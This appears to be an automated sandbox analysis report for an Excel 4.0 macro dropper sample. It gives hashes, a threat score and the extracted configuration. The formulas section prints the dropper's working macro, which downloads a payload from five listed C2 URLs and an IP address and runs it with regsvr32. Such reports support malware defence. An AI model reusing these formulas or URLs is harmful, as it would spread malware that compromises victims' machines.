General

  • Target

    f9f76b613d70ad8423f71d8f3f6057333d727aea05f4f3c7bd2712aed45eddcd

  • Size

    95KB

  • Sample

    241120-wp1axazfqf

  • MD5

    99856c338920250fa9431fb25fc3570f

  • SHA1

    f8cccbd0454599b1f5d2379be4eaa1ba8ad8ffbf

  • SHA256

    f9f76b613d70ad8423f71d8f3f6057333d727aea05f4f3c7bd2712aed45eddcd

  • SHA512

    3d43108037dee4ee5b0de6806b2548bbf64333d73bdcb50713eeeeaea51d1307d21b69c379e5489ffac7124cbc090b31e047c6c5b51a1f7941b78f927e1fd9a5

  • SSDEEP

    1536:N+nXm5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVZF:N43DsVhonV69o2bchgGaWBcpASF

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://gavalisangh.astravit.com/umar-rack/fyMw4DZw1JAB/

http://spanish.swslawfirm.com/wp-admin/llSlMYOLL/

https://wowssipworld.com/wp-snapshots/7EzFXGUC3p0ffli/

https://lucacerullo.com/wp-admin/sZ7Sw/

http://198.50.143.158/cgi-bin/PsABe8gznY/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gavalisangh.astravit.com/umar-rack/fyMw4DZw1JAB/","..\wo1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://spanish.swslawfirm.com/wp-admin/llSlMYOLL/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wowssipworld.com/wp-snapshots/7EzFXGUC3p0ffli/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lucacerullo.com/wp-admin/sZ7Sw/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://198.50.143.158/cgi-bin/PsABe8gznY/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wo1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://gavalisangh.astravit.com/umar-rack/fyMw4DZw1JAB/

xlm40.dropper

http://spanish.swslawfirm.com/wp-admin/llSlMYOLL/

xlm40.dropper

https://wowssipworld.com/wp-snapshots/7EzFXGUC3p0ffli/

Targets

    • Target

      f9f76b613d70ad8423f71d8f3f6057333d727aea05f4f3c7bd2712aed45eddcd

    • Size

      95KB

    • MD5

      99856c338920250fa9431fb25fc3570f

    • SHA1

      f8cccbd0454599b1f5d2379be4eaa1ba8ad8ffbf

    • SHA256

      f9f76b613d70ad8423f71d8f3f6057333d727aea05f4f3c7bd2712aed45eddcd

    • SHA512

      3d43108037dee4ee5b0de6806b2548bbf64333d73bdcb50713eeeeaea51d1307d21b69c379e5489ffac7124cbc090b31e047c6c5b51a1f7941b78f927e1fd9a5

    • SSDEEP

      1536:N+nXm5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVZF:N43DsVhonV69o2bchgGaWBcpASF

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks